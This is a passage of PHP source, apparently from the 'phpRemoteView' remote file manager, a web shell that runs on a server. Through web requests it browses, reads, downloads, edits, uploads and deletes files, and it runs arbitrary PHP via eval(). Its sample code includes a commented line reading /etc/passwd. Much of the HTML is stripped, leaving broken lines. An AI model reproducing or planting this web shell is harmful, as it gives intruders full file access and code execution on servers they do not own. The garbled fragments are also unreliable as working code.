".mm("Sorry, this programm run in read-only mode.")."
".mm("For full access: write")." `\$write_access=true;`
".mm("in this php-file").".
");
}
function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}
function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="
".mm("Reason").":
$obb
";
$GLOBALS['obb_flag']=0;
}
}
function sizeparse($size) {
return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}
function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}
///////////////////////////////////////////////////////////////////////////
switch($c) {
// listing
case "l":
echo $GLOBALS['html'];
if (!realpath($d)) die("".mm("Error path").". ".mm("Click here for start").".");
//up($d);
ob();
$di=dir($d);
obb();
$dirs=array();
$files=array();
if (!$di) exit("<<< ".mm("up directory")." >>>
".
"".mm("access denied").": $obb");
while (false!==($name=$di->read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di->close();
$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;
}
}
}
$names=$listsort;
//echo "
";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "
";print_r($names);
$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;
}
}
}
//echo "
DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "
FILES:"; print_r($listsort);
//echo "
NAMES:"; print_r($names);
?>
function up2($d) {
global $win,$self;
$d=str_replace("\\","/",$d);
if (substr($d,-1)!="/") $d.="/";
$d=str_replace("//","/",$d);
$n=explode("/",$d);
unset($n[count($n)-1]);
$path="";
for ($i=0; $i";
if (strlen($d)>$gr && $i>0 && $i+1$gr) {
$out.="";
$sum+=strlen($n[$i]);
}
else
$out.=$n[$i];
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/";
}
return $out;
return "$d";
}
$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');
echo "\n\n\n\n\n\n";
//phpinfo();
//echo implode(" | ",$cp);
echo '
";
echo "";
break;
// view
case "v":
if (!isset($fnot)) $fnot=0;
if (!isset($ftype)) $ftype=0;
if ($fnot==0) {
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>>";
up_link($d,$f);
echo "";
}
if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("
".mm("access denied")."");
if ($ftype==0 || $ftype==4) {
$buf=fread($fi,filesize($d.$f));
fclose($fi);
//$buf=implode("",file($d.$f));
}
switch ($ftype) {
case 0:
echo "
".htmlspecialchars($buf)."
";
break;
case 1:
readfile($d.$f);
break;
case 2:
header("Content-type: image/gif");
readfile($d.$f);
break;
case 3: // download
if (isset($fatt) && strlen($fatt)>0) {
$attach=$fatt;
header("Content-type: text/plain");
}
else {
$attach=$f;
header("Content-type: phpspbru");
}
header("Content-disposition: attachment; filename=\"$attach\";");
readfile($d.$f);
break;
case 4: // session
if (!function_exists("session_decode")) exit("Sorry, function session_decode() and SESSIONS a disabled");
session_decode($buf);
echo "
";
var_dump($HTTP_SESSION_VARS);
echo "
";
print_r(unserialize($buf));
}
break;
case "i": // information for FILE
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>>";
up_link($d,$f);
if (!realpath($d.$f) || !file_exists($d.$f)) exit(mm("file not found"));
echo "
";
dir_tree($d);
break;
case "delete":
if (!$write_access) exitw();
if (!isset($c2)) exit("err# delete 1");
if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)")."");
echo "<<<".mm("back to directory")." >>>
";
if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f))
exit("".mm("Delete cancel - File not found")."");
if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
exit(mm("Do you want delete this script (phpRemoteView) ???")."
";
echo "".mm("DELETE")." ".mm("DIR")." $df ... ";
rmdir("$df/$file");
}
if (!isset($c2)) exit("error dirdelete 1");
if (!isset($confirm)) exit("".mm("Confirm not found (go back and set checkbox)")."!");
$df="$d";
switch ($c2) {
case "files":
echo "
".mm("Deleting all files in")." $df ...
";
if ($dir=opendir($df)) {
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir($df.$file)) {
echo ">$file ".mm("skip").": ".filetype($df.$file)." ";
}
elseif (is_file($df.$file)) {
echo "$file ".mm("deleting")."...";
unlink($df.$file);
echo " ";
}
else {
echo "$file ".mm("skip").": ".filetype($df.$file)." ";
}
}
}
closedir($dir);
$ref="$self?c=l&d=".urlencode($d);
break;
case "dir":
echo "
".mm("Deleting all dir/files (recursive) in")." $df ...
";
break;
case "e": // edit
if (!$write_access) exitw();
if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>>";
up_link($d,$f);
$msg="";
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS (don't edit!)").")";
else fclose($fi);
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied (don't edit!)").")";
else fclose($fi);
if ($msg=="") $msg="(".mm("full read/write access").")";
echo "
".mm("EDIT FILE")." $msg
";
if (!$fi=@fopen($d.$f,"r")) exit("".mm("can't open, access denied")."");
echo "
";
break;
case "e_submit":
if (!$write_access) exitw();
if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found");
if (!isset($text)) exit("err# e_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "SAVE DONE (go back)!";
break;
case "newfile_submit":
if (!$write_access) exitw();
if (!isset($text) || !isset($df)) exit("err# newfile_submit 1");
if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
fwrite($fi,$text);
fclose($fi);
Header("Location: $self?c=l&d=".urlencode(dirname($df)));
echo "SAVE NEW FILE DONE (go back)!";
break;
case "fileupload_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newfile_submit 1");
if (!isset($df3)) exit("err# newfile_submit 2");
$fname="";
if (isset($df2)) {
if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
exit("Upload failed: can't detect file name");
}
$fname=$ok[1];
}
else {
$fname=$df3;
}
if ($fname=="")
exit("".mm("You mast checked 'create file name automatic' OR typed file name!")."");
if (isset($df4)) $fname=strtolower($fname);
echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']." ";
echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']." ";
echo "File size: ".$HTTP_POST_FILES['userfile']['size']." ";
if ($df[strlen($df)-1]!="/") $df.="/";
echo "".mm("SAVING TO").": $df$fname
";
ob();
$ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
obb();
if (!$ok) exit("".mm("Sorry, access denied")." $obb");
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "NEW FILE SAVED";
break;
case "newdir_submit":
if (!$write_access) exitw();
if (!isset($df)) exit("err# newdir_submit 1");
ob();
if (!mkdir($df,$mkdir_mode)) {
obb();
exit("Access denied $obb");
}
obb();
if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
Header("Location: $ref");
echo "Go to new directory!";
break;
case "t":
echo "
";
if (!$write_access) exitw();
error_reporting(2038);
if (!isset($php)) {
$php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */";
$skipphp=1;
$pre='checked';
$nlbr='';
$xmp='';
$htmls='checked';
}
echo "".mm("Eval PHP code")." (".mm("don't type")." \"<?\" ".mm("and")." \"?>\")
";
if (!isset($skipphp)) {
echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
if ($pre<>'') echo "
";
if ($xmp<>'') echo "";
if ($nlbr<>'' || $htmls<>'') {
ob_start();
}
if ($phpeval_access) eval($php);
else die("Sorry, function eval() disabled.");
if ($nlbr<>'' || $htmls<>'') {
$tmp=ob_get_contents();
ob_end_clean();
if ($htmls<>'') $tmp=htmlspecialchars($tmp);
if ($nlbr<>'') $tmp=nl2br($tmp);
echo $tmp;
}
if ($xmp<>'') echo "";
if ($pre<>'') echo "